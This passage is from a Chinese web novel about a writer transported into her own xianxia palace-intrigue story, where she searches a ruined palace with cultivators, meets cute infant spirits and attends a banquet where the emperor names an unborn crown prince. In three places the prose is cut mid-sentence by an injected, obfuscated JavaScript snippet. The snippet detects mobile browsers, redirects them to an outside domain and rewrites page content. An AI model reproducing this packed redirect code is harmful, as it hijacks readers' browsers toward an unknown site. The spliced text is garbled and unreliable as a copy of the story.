嘶,沈砚捂着额头往回退了一步,发现是白瑾宸突然停下了脚步。 “你怎么了?”沈砚就要往前看,白瑾宸却急急用身高将她的视线挡住,淡淡的梅香将沈砚笼罩其中:“无事。”但于事无补地还是让沈砚看到了前方。 是一个死胡同。 这是,走错路了? 白瑾宸见她看到了,微微冷下脸转身往回走,留沈砚在原地又气又好笑。 哈哈哈哈哈感情白瑾宸和她一样也是个不折不扣的路痴啊,难怪方才让他带路时候的气压不对,堂堂魔君不认路说出去确实能把人笑死。 不过沈砚不敢到他前面笑,好歹给魔君留个面子,说实话,她都怀疑刚才那条路是白瑾宸硬走出来的。 沈砚“哎呦”一声假装跌倒在地,低头捂着膝盖装作很痛的样子,实际上在偷偷打量着前面生自个闷气的白瑾宸。 当沈砚撇到那双黑长靴停了下来,她就楚楚可怜地说:“白仙长,我的腿受伤了,麻烦你去叫几个太监把我用妃辇送过去呗。” ... 夏日的阳光毒辣,走在路上就能看到从地砖缝隙冉冉升起扭曲的热气。 林思黎走在路上热得像蔫了的茄子,她出门又没有带伞,一个劲地围着曲卓然转圈圈:“好热啊师尊,好热啊!弟子感觉快热死了!” 曲卓然依旧仙风道骨,他的修为足以避暑,是以连汗都没流,哪里知道林思黎有多热。他低眸看着跳脱的林思黎,淡淡地问她:“小黎,你是不是忘了为师教你的避暑诀了?” 林思黎脑子卡壳了一下,脱口而出一句:“师尊什么时候教过弟子避暑诀了?”接着反应过来暗道不对,连忙补充:“师尊教过,是弟子忘性大!” 曲卓然看着热得头发贴脸,脸颊红红的林思黎,一时啼笑皆非。他没有管林思黎话里的漏洞,从袖口掏出一本小书递给她:“一百零三页。” 林思黎如获至宝,一个劲感谢师尊,然后就赶紧翻书开始背。 曲卓然摇了摇头,她并非不努力,只是记性太差了,悟性也...一般。 。 林思黎走到丽妃宫门口了才记住短短十五字的口诀,然而还没施展就结束了。 好在这也不是第一次,林思黎也没有垂头丧气,而是雀跃地对师尊小声说:“师尊,弟子已经背出来了!” 丽妃不愧是宠妃,宫殿都不知要比别人大多少。殿外羊道柳径,画桥莲池,有三两个宫女在荷叶旁收集晶莹的露水,蔚然一幅安静祥和之态。 有宫女在前面引路二人到前殿门前。 “二位稍等,容奴家进去禀报。”宫女上了台阶,走进宫殿。 林思黎和曲卓然在门口听到殿内传来的动静,一个女人高兴地说:“快将他们请进来。”还杂着几人混乱的说笑声。 二人被请进去后,意外发现不止一个丽妃,还有四五个妃嫔。 7. 『宫闱暗事(7)』 一个细眉狐狸眼,唇比花红的艳丽美人穿着上品苏绣坐在主位,旁放着金花雕篆的香炉,正冉冉着细腻的安胎香。斜斜看了他们一眼后,她大手一挥免去了他们的行礼,红唇轻启:“赐座。” 林思黎坐下后,眼尖地发现有几个他们曾去调查孩子的妃子,例如她左边就坐着一身素服的贤妃。林思黎悄悄看了贤妃一眼,她虽坐得端正,但脸色苍白,身形瘦削,眉宇有不安之色。 曲卓然则感到有些奇怪,通常妃嫔不接二客,按理来说他和小黎应当在偏殿等候群妃离开,才会被请入殿。 果不其然,其他的妃嫔大概也是这样想的。一位妃子先行站起来,笑着对丽妃说:“既然妹妹有事,本宫就先走了。” 紧接着贤妃也站起来要告辞。 “哎呀,姐姐们别急着走啊!”丽妃轻摇扇子,她笑眯眯地对两人说:“两位姐姐都是生养过孩子的人,两位仙长来此是受陛下要求来保护我腹中胎儿的,可妹妹从未有孕过,不懂这其中要害,劳烦在座的姐姐们留下来与仙长探究一二。” 殿内的宫嫔几乎都是脸色微变,最先站起来的妃子开口冷冷道:“妹妹倒是关心胎儿得紧。” “可不是,”丽妃用帕子捂着唇笑,“主要是皇上那关心得紧,这些日子时不时送些补品过来,妹妹也不能辜负圣恩啊。” 提到皇上,殿内一阵缄默。林思黎坐在旁边看到贤妃在袖口中若隐若现的紧握拳头,心里也明白了。 原来是话本中常出现的宫斗,其他妃子的孩子都死了,丽妃此时说这些话不是往人家身上插刀子吗? 哪个母亲能容忍他人提起死去的孩子的。林思黎想了想,还是忍不住站起来开口:“丽妃娘娘,生养之事,陛下已经交代让嬷嬷和我们沟通了,暂时不需要娘娘们操劳。” 丽妃愉悦的表情微微一僵,她不着色地瞪了一眼林思黎,才淡淡道:“既然如此,那姐姐们慢走。” 一时间,妃子们全站起来告辞。几人经过林思黎还感激地看了这位少女一眼。 妃嫔走后,大殿一下安静下来。丽妃皱着眉头,将手中的圆扇朝林思黎脸上砸去,林思黎来不及反应,好在曲卓然指尖化出一滴水珠将扇子弹偏,扇子才没有砸到她。 丽妃盛气凌人地指着林思黎说道:“陛下是让你来保护本宫的,你算什么东西,敢当众妃面反驳本宫。” 林思黎大概是第一次被人骂“算什么东西”,还楞了一下。 曲卓然听到冷下脸。他站起身将林思黎护在身后,不卑不亢地道:“轩辕仙门脱离凡间,不受人皇约束。娘娘此举可是要教训我轩辕弟子?” 丽妃脸色难看,她“噌”地站起来:“你们!” 林思黎听到师尊替自己找回公道,高兴地探出头对丽妃说:“我师尊可是轩辕第一宗师,游历至此见皇宫有邪祟才前来除妖,你若不喜欢我们,我们走便是!” 说实话林思黎早想走了,皇帝贼喊抓贼不给他们线索,现在又命令他们保护胎儿,明显是不想让他们继续查下去。若不是担心宫中其他人的安危,师徒也不会留下。 僵持了半晌,最终还是丽妃败下阵来,软下声来:“是本宫唐突了。” ... 这边沈砚和白瑾宸已经成功抵达废宫。废宫门前宫道上的尘灰堆积足足有一指厚,可见几乎从未有人踏足过这里,就连四周也成破败之色。 沈砚用力推开宫门,大阵灰尘扬起,若不是她偏头避了避,就要吹进她眼睛里。然而空气中的灰尘还是让她不可避免地咳嗽起来,她捂着鼻子对旁边的白瑾宸说:“咳咳白仙长,你先请吧,咳咳...” 白瑾宸看了她一眼,就拔出腰间上的剑,握在手中。庭院的杂草长得比宫墙还高,绿油油的一大片,挡住了他们的去路。白瑾宸三两下就将前面挡路的草斩断,比玉米杆还长的草轰然倒落,只剩下锋利整齐的切口和重现的宫道花纹。 沈砚此时也咳嗽完了,颇有些敬佩白瑾宸超人的剑术。她跟上白瑾宸,好奇问他:“白仙长,你这剑有没有名字啊?” 白瑾宸边走边用剑气斩断杂草,紫色发带随着他晃动,好几次差点擦到沈砚的脸颊。听到沈砚的话微微勾唇,声音似初绽的梨花染了晨露:“暂时没有,还请公主赐名。” 让她取名?可她并不是取名的料,很多角色的名字她要想半天呢。沈砚想想什么剑名才配得上魔君这个反派角色,龙吟?乌金?承影? 沈砚问白瑾宸这个剑主人:“承影怎么样?”有句俗话说剑是剑修的老婆。白瑾宸算半个剑修,给他老婆取名字要慎重一点。像她之前在网上看到的什么旺财,什么看剑,啧,要取这些名白瑾宸不得砍死她。 白瑾宸没有拒绝,但也没有同意,而是将自己的剑递给她:“你要问它。” 问它?沈砚接过这把重量很足的长剑,这是她第一次认真地端详着它。上手摸起来很冷很冰,再加上冰蓝色的剑身配上银色剑柄,像一块千年难融的寒冰。 好吧,沈砚低头认真地问它:“叫承影?”,剑冷冷地,没动静。 “那叫龙吟?乌金?”剑还是冷冷地,没有动静。 沈砚又一口气说了好几个,剑都是冷冷地,没动静。沈砚胳膊都抬酸了,剑还是一点反应都没有。 她只好告诉走在前面的白瑾宸:“白仙长,它不喜欢我取的名字。” 白瑾宸挑眉,他放慢脚步,轻笑道:“我这里倒是有一个名字,不知公主可否参谋一二?” “什么?”沈砚问。 “旧时王谢堂前燕,飞入寻常百姓家。‘燕’轻巧迅疾,还是吉祥之兆,公主认为叫‘小燕子’如何?”白瑾宸眼眸含笑,向她走了两步。 沈砚差点一个踉跄,小燕子?她虽然尊重每个人的择网名审美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068587|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权,但她的笔名就叫“小砚子”啊,她当初还是为了谐音“小燕子”才取的名! 沈砚满头黑线,对白瑾宸郑重其事地说:“我认为还是不要了吧,这名字太俗气,配不上你这剑。”废话,真取了这个名,那以后白瑾宸一拔剑就要高呼一声小燕子,沈砚就会有种狗狗被主人喊,如芒刺背的即视感。 太吓人了好不好! 白瑾宸“啊”了一声,可惜地说:“可我感觉剑会喜欢这个名呢。要不公主你叫一下它,说不定就答应了。” 沈砚没有办法拒绝,只能低头忍辱负重地对剑说:“你想不想叫小燕子?” 冰蓝色的剑突然开始兴奋地狂震不已,同时沈砚的心也死了。 “哈哈哈哈哈看来它喜欢这个名字,”白瑾宸从沈砚手中拿过剑,笑吟吟地对她说:“多谢公主赐名。” 沈砚扶额苦笑,其实也笑不出来。 白瑾宸找到殿门,将它推开,又是一样的流程,伴随着灰尘飞扬的还有大量蚊虫,沈砚在这些虫子中找地方跳来跳去,她严重怀疑里面有大量老鼠。 沈砚成功跳过了门口,来到了里面。太久没住人的房子都有种排斥人的感觉,偌大的宫殿洋溢着潮湿阴冷的气氛,四处布满了比棉花糖还厚的蜘蛛网,让人惊奇的是装饰这么多年都没有拿走,座位旁的蓝釉花瓶已经被灰尘覆盖得灰蒙蒙的,里面或许还有死去的虫子尸体。 她不由想到一个画面:一个普通的上午,有群人突然闯了进来将江婉当成妖女绑了出去,从此这座宫殿里再无主人...... 她和白瑾宸分头寻找魑妖孩子的线索,沈砚第一个去的就是内殿。江婉住在内殿,许多秘密应该也在其中。 走进内殿,她就瞧见了床榻旁发霉发黑的小柜子。她走进敲了敲柜子,一大堆虫子从柜底下钻出,沈砚贴心地给它们让了一条路。 沈砚打开了最上面的一个抽屉,一堆金灿灿的首饰出现在她眼前。都是纯金,看来江婉在被杀前很是受宠。 沈砚翻了翻首饰,没有什么发现。紧接着她打开了第二个抽屉,看到了一双红色喜庆,绣着小龙的小鞋子在衣服上面,那是宝宝学走路穿的。 时间使鞋子变得陈旧,但沈砚将鞋子倒过来看鞋底,并没有什么磨损,说明江婉孩子并没有穿过。 那江婉极有可能是在孕中死去的。 沈砚拿起小鞋子,看到了下面叠的整整齐齐的小衣服,她掀开这些婴儿衣服,意外发现了一本绢书。绢书不算厚,用着浅黄色封面,没有在封面上提任何字。 她翻开第一面,上面的字迹在岁月的蹉跎下变得模糊不清,不过也能勉强看清几个字。 “征战”、“献计”、“奖赏”。 沈砚一时半会还看不懂,于是想了想,将它和鞋子一同放进包中。 然而这时,忽然有一双冰冷的手触摸她的脖子。 8.『宫闱暗事(8)』 沈砚的背僵了僵,她深吸一口气,试着缓慢转身,看看身后是何物在碰她,然而却只能看见空旷的内殿,脖子上那冰凉的触感还是没有消失。 那东西是挂在她脖子上的!但她没有感受到一丝重量在自己肩上,如果不是冰凉的触感,沈砚都怀疑是不是自己神经质了。 天哪,不会让她遇到魑妖的孩子了吧......沈砚一个激灵,大白天的也怪吓人的,屋内若有若无的阴风抚过她裸露在外的一切肌肤,好像是暴风雨的前夕。她都要感觉那东西下一秒就开始哭着叫她母亲了。 冷静,想想这里离白瑾宸的距离有多远。白瑾宸应该刚去偏殿没多久,这个时候跑过去应该可以。 沈砚故作镇定,装成什么也没感觉到的样子,用看似不慌不忙的步伐走向偏殿,实际上汗已经浸湿了她的里衣。 什么东西最可怕?未知的东西最可怕。这简直比魑妖突然出现要更吓人! 好在没过多久,她就看见白瑾宸站在一副书架前不知在找什么。 沈砚就跟见到了救世主一般,她叫了他一声:“白仙长。”声音出口,她才发现牙关有些打颤,气息起伏大。 白瑾宸转身看到她这副样子有些意外,疑惑地问她:“怎么了?” “......我肩上有东西。”沈砚咬紧牙关说道,眼睛接近闭上。 白瑾宸慢悠悠地围着她转了一圈,面上露出疑惑之色:“你肩上什么也没有。” 怎么可能?沈砚咬唇睁开眼,露出恳求的目光看白瑾宸,低声对他说:“真的有,我有感觉的。”白瑾宸再怎么是反派,她和他无冤无仇,白瑾宸也不会见死不救吧。莫非那东西是虚体,白瑾宸也看不见? 却见白瑾宸静静地看着她,俊美的脸上一丝笑容也无,棕褐色的眼瞳如同看死人一样平静地看着她,不知道在想什么。 沈砚从未见过这幅样子的白瑾宸,紫衣衬得青年肤若白玉,身形颀长,他面无表情地看着自己,像极了十八层地狱里的冷面修罗。 沈砚疑惑地看着他:“白瑾宸?” 白瑾宸听到她叫自己名字,眸光移动,扫了扫少女惨淡的颜面。他扯唇一笑,眸中漾开一池春水:“公主不相信我?” 他向沈砚走了两步,毫无预兆地抬起手,指尖轻轻拂过少女细碎的鬓角,将她的碎发挽在耳后,亲昵得像一对恋人。 离得近了,沈砚看到他长长的睫毛微微颤动,眼中露出无辜之色,他垂首浅笑:“公主是压力过大出现幻觉了。公主似乎从未相信过我,是我有什么做的不好,让公主事事防备?” 少女微微抬起头看他,差点撞到他的鼻梁,启唇:“你是轩辕仙长,我自然相信你,只是......” 只是什么?白瑾宸一愣。 “我更相信我自己——”沈砚突然伸手往她肩上抓去,霎时手上如同被无数蚂蚁咬食,她忍痛用力往地上一甩,一大团魔气受惊似的四处飞散,几秒间就无影无踪了。 竟然是魔气!沈砚愣神地看着地面。 白瑾宸眼中有几分意外地看着她,他抿了抿唇,正要对她说什么,殿里却来人了。 “沈砚,师兄!” 林思黎猛地推开偏殿的门,地上的灰尘也猛地扬起,在殿内两人中徘徊飞扬,两人都没说话。 “你们没事吧?师尊刚才发现这里有魔气,已经去追了!”林思黎上下扫了两人一眼,眼尖地发现沈砚的手流血了。她急得上去抓住沈砚的手腕,问她:“你怎么受伤了?” 沈砚摇了摇头:“无事。我方才不小心摔了一跤。” 林思黎看着沈砚手上好几个伤口蹭出的血迹,疑惑地说:“不是吧,我怎么看都觉得像是魔气伤的。”她拿着沈砚的手端详了好一会儿,才一拍脑瓜说:“不对,你这伤口没有魔气入侵,不是魔气伤的,我差点忘记师尊讲过了。” “但还是好像啊......”要是有书,林思黎恨不得翻书查看图例了。 沈砚心中好笑,这次并非女儿学艺不精,这还真的是给她看对了。沈砚低眸问她:“思黎有没有带药?” “有的!”林思黎从随行的包中拿出药水和绷带,低头给沈砚上药。 沈砚看着林思黎,思绪却飘向远方。白瑾宸骗她,方才趴在她肩上的是魔气,他不可能看不见。他可是魔君,魔族向来以武力称王,哪里敢有宵小在他面前放肆?要么这魔气是他放出来的,要么就是他包庇魔族中人假装看不见的。 沈砚想到他方才见死不救的样子,忍不住拳头握紧。 白瑾宸此人确实和她笔下描述的一样,前几日并未在她面前过多显露,现在她有幸窥见了他冷漠的那一面。她方才将魔气掷在地上想必他没有意料到,如果林思黎没有来,白瑾宸搞不好要灭她的口。 “包扎好了!”林思黎说。 沈砚看着被裹成粽子的手,不由一笑。 曲卓然此时也风尘仆仆地从正门走进来,不出所料,他没有捉住魔族的人。他白瑾宸想做的事情,还没有几个人能拦。 “公主的手怎么了?”曲卓然注意到她的手,皱着眉头问站在一旁的青年:“瑾宸,怎么回事?” 沈砚站在白瑾宸侧前面,也看不见白瑾宸神色,只听见他语气平淡地说:“是弟子失职没有保护好公主,请师尊责罚。” “无事。”沈砚平静地对曲卓然说道:“是我不小心摔伤,和白仙长没有一点关系。” 这话在有些人面前可没有那么平静。 曲卓然皱了皱眉,总感觉气氛不对,目光在他们俩间徘徊,得不出个结论。 沈砚别开话题,问他们:“你们怎么这么快就过来了?” “哦,我们找了老宫女打听,她说废宫这么久没人住过是因为里面闹鬼,最近这附近也总能听到啼哭声,师尊说那群婴灵应该也在这座废宫里,所以我们就决定过来找找看。”林思黎解释道。 沈砚想了想,说:“我们就还有后殿没去,那它们极有可能躲在后殿咯。” 几人前往后殿,曲卓然在最前面走着,林思黎拉着沈砚追上去:“师尊等等我!”沈砚与白瑾宸擦肩而过,除了发丝拂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071631|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的耳畔,不留只言片语。 到了后殿入口,曲卓然正要推门进去,却被沈砚打断:“曲仙长就直接进去吗?不需要做什么防范之类的?”婴灵晚上神出鬼没的,从来就没见过它们的真身,想来也不能小觑。 曲卓然回头跟她解释道:“正午是婴灵最弱的时候,它们没有力气反抗。” 沈砚了悟。曲卓然推开了门,映入眼帘的是一大堆白色的团子,有的直接瘫在地上,有的靠在木箱旁 ,呼呼大睡。 “呃,有人来啦!”曲卓然脚边的一个团子被吵醒,迷迷糊糊地看了他们这群人一眼,大声喊道。 其他的团子被吵醒,看着他们啊啊啊叫个不停,有些还去将旁边睡死过去的团子拼命摇醒:“快起床!快起床!有坏人来了!” 沈砚愣在原地:“它们就是......婴灵?”这些长得像糯米团子,足球大小形状,像二次元漫画里的萌物竟然是婴灵?! 扰得全皇宫人睡不着觉,闻之丧胆的婴灵?沈砚心想这么可爱,难怪只会用哭声吓人,不露真身。 “好可爱!!”林思黎可谓是眼里放光,闪着星星眼看着它们。 “咳,”曲卓然走进屋,跟这群混乱成一团的家伙说:“我们不是坏人。” “真的吗?”有白团子傻乎乎地跳到他们跟前,被另一个团子拉住: “不要相信他们!” “对!坏人都说自己不是坏人的!” “嗯嗯!” 白团子全部缩在一起,眼睛不约而同紧紧盯着他们。曲卓然哭笑不得,问它们:“那你们每天晚上都跑出去吓人,不也是坏人吗?” “我们才不愿意去吓人呢!” “就是就是!我们几天就会有一个新成员加入,我们要帮它报仇!” “可是你们报不了仇啊。”沈砚从后面探出头来,和它们打了个招呼。 “你懂什么?那是因为我们接近不了那个穿明黄色袍子的男人!” “就是!要不然我们早就杀他了......咦,你身上好香啊。”那白团子突然跳到沈砚脚边,大力地嗅了嗅,大声地跟伙伴说:“是娘亲的味道!” “真的假的?”其他团子也闻到了一股熟悉的味道,纷纷跳出来说:“真的哎!!” “什么味道?”林思黎疑惑地把头趴在沈砚脖颈处用力闻了闻,只能闻到少女自带的馨香,没有什么娘亲的味道。 沈砚也不知道发生了什么,低头看着陶醉在她脚边的白团子。难道是因为她是作者,是更高维度的“母亲”? “好吧,”沈砚打算趁机发挥,跟它们保证:“我们绝对不是坏人,我们是来帮助你们的!” 小团子都已经跳到她身边,依偎着她,好像她真的是它们的娘亲。有一些调皮的还跳上了沈砚的手臂和肩膀,将沈砚痒得哈哈大笑。 林思黎趁机摸摸毛茸茸的小团子,感觉已经被萌化了。 不过好在几人没有忘记来这里是干什么,沈砚从包里掏出那双小鞋子,问这些白团子:“你们知道这个是谁的吗?” 9.『宫闱暗事(9)』 小团子们面面相觑,没有一个看出来。 “会不会是因为江婉孩子没有穿过,所以认不出来?”林思黎托着下巴思考。 “有可能。”沈砚认同她的观点。如果是在腹中死去,哪里知道这是自己的东西呢?可这样一来,也难以在里面找到江婉的孩子。 “用离世时辰问吧。”曲卓然明显不是第一次,他说:“若孩子真的是在腹中,那孩子和江婉就是同一天死的。江婉离世时时殇帝时期永安三年六月三日。” “我知道!”有一个小团子跳了出来,“老大就是永安三年六月三日的!” “你们还有老大?”几人哭笑不得。 几个团子拉了一个身形有些透明的团子出来,它大概是在阳间蹉跎久了,它有些虚弱,声音也小:“有什么事吗?” 曲卓然拿出一个五彩斑斓的银质壶,低声告诉它:“你想不想见到你的生母?” 小团子身形有些颤抖,它不可置信问曲卓然:“我娘亲?” “嗯。”曲卓然答道。告诉它:“不过你要在壶子里待一会。”小团子还没有动,身后的团子们听到了,叽叽喳喳地说: “好人好人,我也想见到我娘亲!” “我也好久没有见到娘亲了!!” 还有的说:“老大去哪我就去哪!” “你这个壶子好漂亮,我也要进去!”有个小团子两耳不闻窗外事,只顾着看曲卓然手上的收魂壶好看了。沈砚好笑地将这个小团子捞起来问它:“怎么你不想见你娘亲啊?” 在沈砚温柔的注视下,这个小团子有些不好意思,怯怯说:“娘亲也是坏人,是她把我送给那个明黄色的坏人的。” 沈砚听它的话默了默,她摸摸它的小脑袋,安慰它:“没有娘会愿意把心肝宝贝送给别人的,你叫什么名字呀?” “我叫小五,在家中排行第五哦。” 沈砚一震,小五?她想到在夜晚里歇斯里哭泣的那个女人,这是贤妃的孩子?! 曲卓然那里已经和团子们商量好了,团子们一个一个跳入壶中,小五也要走了。沈砚只能匆匆地告诉它:“你的娘亲很爱你。” “我不信哦!”小五摇了摇头走了进去,只留沈砚看着壶口发愣。 “走吧!”林思黎拍了拍她的肩。 正午的阳光明媚亮眼,蝉鸣不断,像沈砚常在书中描写的好天气那般。 几人走在宫道上,林思黎给他们讲述丽妃宫里的宫斗。 “真是太傲了,听说她父亲是前朝的哪个大将军,皇帝又宠爱有加,所以平时在宫里横着走呢。”林思黎嘟着嘴,蹦蹦跳跳地走在路上。 沈砚抿唇,宫里的女人是这样的,她们总以为得到了皇帝的宠爱就万事大吉了,可实际上有多少冷箭在暗处等着。 曲卓然突然靠近沈砚问她:“公主在废宫中可有见到奇怪的人?” 沈砚很想说有,就是那个白瑾宸,但她只能昧着良心说:“没有。听思黎说是魔族的人?” “嗯,我在皇宫已经感受到两次魔气的出现了,不知道是不是善茬?”曲卓然说。 林思黎听到了,也参与进来:“他们总是在凡间流窜,有些还到处伤人呢,他们魔君也不管一下。” 听到林思黎吐槽魔君,沈砚有些好笑。她看着走在前面的青年,反正白瑾宸不知自己知道他的魔君身份,就故意说了一句:“我们凡间也有关于他们的传说,可吓人了。特别是那个魔君,听说是长得青面獠牙,牛头马面,相传有人看了他一眼,被他丑得吐了三天三夜。” 白瑾宸背部明显一僵,但装的很好,步伐不曾改变。 林思黎“啊”了一声,感慨道:“这么吓人的吗?!难怪他从不以真容现身,总是带着一副面具。” 沈砚用手摩擦着下巴,故作思考状:“其实这魔君不够聪明。” “为什么?”林思黎问。 沈砚深沉地说:“他如果摘下面具示人,那对手见到他就直接跪在地上吐了,他不就大获全胜了吗?” “哈哈哈哈哈哈哈哈哈哈!” 在林思黎哈哈大笑中,白瑾宸的步履终于紊乱了。 ... 宫宴来临前,沈砚就在上午就被一群宫人拉去化妆沐浴打扮,而曲卓然三人则守在丽妃旁边保护她,各有各忙的事。忙忙碌碌到了傍晚,宴会也就要开始了。 林思黎几个人把座位安排在丽妃身边,皇帝生怕丽妃受到邪祟的伤害,要求他们寸步不离。其实皇帝虽然称这是普通与臣子间的宫宴,但明显是要在宴会上宣告什么,故而宫宴虽急但准备得奢华,宫女太监恨不得长多几只手来干活。 酉时一到,宫门大开,皇室宗亲,朝廷百官皆随亲眷陆陆续续地进入皇宫。皇宫里处处充盈锦绣,花色光影耀人夺目,御香缥缈掠过来客,张灯结彩在金殿。 皇帝在太液池处设宴,池中水雾弥漫游离,有曲折古朴的池上回廊,使众人从精致各异的亭台楼阁中穿梭,引到辉煌明亮的正殿中。门口自有太监通报身份,且有宫女引路上座,众官其乐融融,女眷们会在一起说悄悄话,时不时掩唇偷笑。 这次宴会男女不分席,众妃坐在离皇位最近的位置,接着是各位臣子与家眷的位置,一般都是大臣先入座,然后妃子才陆续入殿。 所以等沈砚入殿时,天色已近暗色。门口的太监禀报了一声:“颜妃到!”皇帝为了这场宫宴给她了个妃位,沈砚也随便应下,然而前朝的人俨然没有听过这个妃子,在站身给她行礼时不免多看她几眼,却都被惊艳地说不出话。 女子一身紫色华服,上面点缀着璀璨的珍珠,头顶戴着明珠发饰,长长的流苏流连于她的蝴蝶骨。眉眼昳丽,高鼻红唇,带些西域特色的漂亮中透着股神圣不可侵犯的味道。 她并不是中原常见的温柔小可,身高也比较高,许多人也猜出她是前几日西域小国送来和亲的晓姒公主。 有大臣皱眉生怕皇帝会为她流连后宫,有贵族少年不觉面热,亦有小姐偷偷交谈夸赞她的貌美。 而沈砚则在悄悄打量桌前的烤乳猪,想着怎么才能优雅地吃下。 林思黎几人还没有来,想必是要跟着主角丽妃一起来了,正好沈砚也想旁敲侧击一下系统。来到这个世界后系统就出现过一回,交待了一句“插入白瑾宸感情线”就跑了,什么也没交代清楚,这几天忙,沈砚也没时间找它。 “系统系统!” “宿主你好,请问有什么事?”脑海里突然出现了机械的声音。 沈砚听到回答,也不墨迹,直接问它:“我怎么会出现在这?你又怎么会出现在这?” “宿主,前因我也不太清楚。先前说查询到你肉身已死,就自动带入书中世界。” 这意思是说,人死了以后会穿到自己写的书里面?早知道她写一个人人都是世界首富的小说好了,那她每天都可以从八百平方的大床上醒来。 “也不是都是这样,极大多数人都去阎王那里报到投胎了,而你是极少数的个例,如果你能完成任务,你就能回到现实世界。”系统解释道。其实它也不知道这是怎么一回事,只知道沈砚的魂魄突然被吸进这个世界。 沈砚听到能复活眼睛就亮起来了,她急忙问:“那我怎么给白瑾宸插入感情线?” “哦,宿主可以选择自我牺牲,主动攻略白瑾宸。也可以通过拉郎配的方式让白瑾宸有感情线。”总共有两种方法,沈砚毫不犹豫地选第二种,白瑾宸这么多小迷妹,就不信他一个都不心动。 系统塞给她一本小书,告诉她:“这是你的原著,如果里面出现了白瑾宸与女子的感情桥段,说明任务就成功了。” 沈砚点点头,听起来似乎也不难。想到之前看到的小说,她就问系统:“你这有没有什么好感度,积分商店?” “没有,好感度只能看到正负。”系统答道。 这么水?通过这几天系统没找过她来看,这系统对她是放养管理啊。沈砚挠了挠头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073690|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想到白瑾宸昨日的举动,开口问它:“白瑾宸对我的好感度是不是负值?” “是的宿主。”系统规矩答道,它没告诉沈砚,这负值快爆表了。只能委婉地说一句:“为了宿主您的安全,尽量选择拉郎配的方式。” 那是自然,沈砚想。 过不久贤妃也来了,她面色不佳地在沈砚旁边落座,静静地看着前面发呆。 沈砚想到了之前吓她的事,虽然白瑾宸已经让贤妃把那事当成是一场梦,但沈砚还是觉得不好意思,因为贤妃今日的状态并不算好,不会是他们之前吓的吧? 沈砚犹豫着要不要跟她说上两句,却听一长声:“皇帝驾到,丽妃到——” 众人齐齐站起身,向门口行礼:“吾皇万岁万岁万万岁!” 林思黎跟在丽妃后面,看着满朝文武作揖,不由有些震撼。趁众人都低着头,她小声地同身边的白瑾宸说:“这么气派。” 白瑾宸“嗯”了一声,没有多大感慨,毕竟自己每天都要经历一回魔族人的朝见,早就见怪不怪了。 “我去,好漂亮!”林思黎突然激动拼命拉他衣袖,白瑾宸有些不耐烦,随着她指的方向扫去,在一堆莺莺燕燕中直直和沈砚的目光对上。 少女的杏眸在大殿的灯光下明亮剔透,像东海的夜明珠沾了晨露,晃人心神。 白瑾宸移开视线,任由林思黎扯他都没理。 皇帝到了,宴会开始。宫女早早在各人桌案上摆满了油饼,枣塔等糕点和水果作看盘,还有甜美的酒浆玉琼。 宴会准备了一些歌舞,众人看得尽兴,但在皇帝眼皮底下也不敢多过放肆。该鼓掌鼓掌,该吃就吃,沈砚还时不时看丽妃旁边站着,用幽怨的小眼神可怜巴巴看着她的林思黎。 林思黎几人也不知道有没有吃饭,全都站在丽妃后面,像极了被老板压榨廉价劳动力的愚蠢大学生。 由于皇后前年刚逝去,中宫之位暂时空着,所以这次宴会是皇帝和丽妃坐主位。皇帝和丽妃时不时互相敬酒,说说悄悄话,显得亲密无间。无论是后宫还是前朝,都有着自己的小心思。 大概宴会过了三分之一,皇帝突然让那些表演节目的教坊艺人退下,要宣布一件大事。 管事太监站在皇位旁,展开一卷明黄色圣旨: “奉天承运皇帝,诏曰:朕嗣守鸿基,夙夜祗畏。丽妃刘氏,柔嘉维则,淑慎性成。今怀娠有庆,笃衍麟祥,实乃宗社之福,邦家之瑞。咨尔未诞之嗣,毓秀天潢,钟灵紫极。当兹吉兆,特颁纶音:立为皇太子,以定国本,以慰朕心。敕礼部备金册宝玺,俟太子诞育,告庙授册。其母丽妃,温慧端良,着晋贵妃位,赐金万两,增禄千石。六宫诸务,暂令协理。钦此!” 一时间众人哗然。哪有皇帝在妃子有孕时就立皇太子的?丽妃,哦不,应该是丽贵妃,她这么受宠的吗? 丽贵妃在台上笑的嘴都快咧到天上去了,皇帝听着下面小声讨论的声音,有些不悦道:“怎么,你们不同意?” 整个宴会大席立马安静下来,过了一会儿,还是有臣子站了出来,他跪在大殿中央,给皇帝磕了个头:“陛下,臣以为不该这么早立太子。” “臣也以为,还是等贵妃娘娘生下来再立太子也不迟!”陆续有几个臣子站了出来,跪在大殿中。 皇帝冷眼看着他们,突然笑道:“众爱卿!朕就只会有贵妃腹中这一个孩子。”语惊四座,后宫佳丽三千,他却只要丽贵妃肚子里的这个! 